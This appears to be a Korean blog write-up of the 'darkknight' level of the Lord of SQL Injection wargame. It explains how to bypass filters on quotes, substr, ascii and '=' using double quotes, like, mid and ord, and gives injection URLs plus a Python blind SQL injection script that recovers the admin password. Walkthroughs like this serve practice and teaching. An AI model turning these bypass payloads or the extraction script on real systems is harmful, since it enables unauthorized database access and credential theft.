cgy12306
[LOS] darkknight 본문
pw는 '(작은따옴표)가 필터링이 되어있고, no는 substr, ascii, = 이 필터링 되어있다.
'(작은따옴표)는 "(큰따옴표)로 대체해서 사용 가능하다.
pw는 '(작은따옴표)를 사용해서 sql injection을 사용해야 하지만 필터링 되어있어서 pw에는 아무런 값을 넣어주고 no는 mysql상에서 int를 사용한다.
int는 '(작은따옴표)나 "(큰따옴표)를 사용하지 않는다.
no에 아무런 값을 넣어주고 or 연산자로 앞에 있는 and 연산자로 무시하고 뒤에 =은 like로 우회해주면 된다. 그리고 '(작은따옴표) 대신 "(큰따옴표)를 사용한 후에 뒤를 #으로 주석처리 해주고, %20으로 공백을 넣어준다.
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=123&no=1%20%20%20||%20id%20like%20"admin"%20||%20length(pw)%20like%20"8"#%20
패스워드의 길이가 8자리인 것을 알았으니 blind sql injection을 사용하면 된다.
substr은 mid로 우회하고 ascii는 ord로 우회하면 된다.
import requests
arry=[]
cookies = {'__cfduid': 'd9f10fcfbd34f89c5ee38157582d611711557926817', 'PHPSESSID' : 'rudallertusjo11inipl1kfn86'}
for k in range(1,9):
for j in range(32,127):
res = requests.get(url='https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=123&no=1%20|| id like "admin" %26%26 ord(mid(pw,'+str(k)+',1)) like "'+str(j)+'"#%20' ,cookies=cookies)
if 'Hello admin' in res.text:
print(k,' : ', j, "O")
arry.append(chr(j))
break
else:
print(k,' : ' , j, "X")
print(arry)
패스워드만 검증을 하니
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1c62ba6f
를 넣어주면 된다.
'Wargame > LOS' 카테고리의 다른 글
[LOS] giant (0) | 2019.08.23 |
---|---|
[LOS] bugbear (0) | 2019.08.23 |
[LOS] golem (0) | 2019.08.23 |
[LOS] skeleton (0) | 2019.08.13 |
[LOS] vampire (0) | 2019.08.13 |
Comments